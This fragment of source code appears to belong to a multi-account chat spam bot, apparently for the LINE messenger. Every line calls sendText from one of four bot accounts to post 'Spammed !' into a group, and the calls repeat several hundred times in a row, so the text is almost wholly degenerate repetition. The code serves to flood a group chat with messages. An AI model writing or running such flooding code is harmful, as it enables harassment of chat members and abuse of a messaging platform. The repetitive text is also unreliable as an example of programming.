ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
